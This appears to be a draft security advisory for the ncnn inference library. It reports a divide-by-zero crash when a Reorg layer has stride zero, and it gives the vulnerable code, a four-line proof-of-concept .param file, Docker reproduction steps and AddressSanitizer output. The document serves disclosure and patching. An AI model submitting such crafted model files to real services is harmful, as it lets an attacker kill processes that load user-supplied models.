All advisories
Draft

Zero Reorg Stride Causes Model-Triggered Denial Of Service

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Zero Reorg Stride Causes Model-Triggered Denial Of Service

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/reorg.cpp:29 in Reorg::forward
Sanitizer verdict: FPE on unknown address 0x5db7a3735d70 (pc 0x5db7a3735d70 bp 0x7ffcfbe8bbd0 sp 0x7ffcfbe8b900 T0)

Summary

An ncnn .param file containing a Reorg layer with stride zero terminates the process that loads and shape-infers it with SIGFPE. Reorg::load_param stores parameter key 0 without a lower bound, and Reorg::forward divides the input width and height by it to size the output blob. The PoC uses ncnnoptimize with a null weight file, so a four-line text file is enough to kill any service that optimizes or runs submitted models on the CPU path.

Detail

The untrusted field is Reorg parameter key 0, read into stride. pd.get(0, 1) returns 1 only when the key is missing; an explicit 0=0 is kept verbatim, and no code between Net::load_param and layer execution validates it.

// src/layer/reorg.cpp:14
int Reorg::load_param(const ParamDict& pd)
{
    stride = pd.get(0, 1);
    mode = pd.get(1, 0);

    return 0;
}

// src/layer/reorg.cpp:22
int Reorg::forward(const Mat& bottom_blob, Mat& top_blob, const Option& opt) const
{
    int w = bottom_blob.w;
    int h = bottom_blob.h;
    int channels = bottom_blob.c;
    size_t elemsize = bottom_blob.elemsize;

    int outw = w / stride;
    int outh = h / stride;
    int outc = channels * stride * stride;

The PoC model is Input input 0 1 data 0=8 1=8 2=3 followed by Reorg reorg 1 1 data out 0=0. At the sink w and h are both 8 and stride is 0, so line 29 executes 8 / 0 with int operands — an idiv with a zero divisor, raising #DE and delivering SIGFPE.

The layer is only reached because ncnnoptimize performs real inference to derive shapes: optimizer.shape_inference() (tools/ncnnoptimize.cpp:2844) calls ex.extract(top_blob_index, m) per layer top (tools/modelwriter.h:435), which runs Reorg::forward on a synthesised blob. The Reorg layer needs no weights, so the attacker supplies null as the binary argument and controls the crash entirely from the parameter text.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-zero-reorg-stride-causes-model-triggered-denial-of-service && cd ncnn-poc-zero-reorg-stride-causes-model-triggered-denial-of-service

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input input 0 1 data 0=8 1=8 2=3
Reorg reorg 1 1 data out 0=0
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x619a9f417d70 (pc 0x619a9f417d70 bp 0x7ffe75d76ef0 sp 0x7ffe75d76c20 T0)
    #0 0x619a9f417d70 in ncnn::Reorg::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/reorg.cpp:29
    #1 0x619a99ba5f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #2 0x619a99b97b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x619a99bf79e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x619a99a893c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x619a99b06eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x7089c4b381c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x7089c4b3828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x619a99a86624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/reorg.cpp:29 in ncnn::Reorg::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst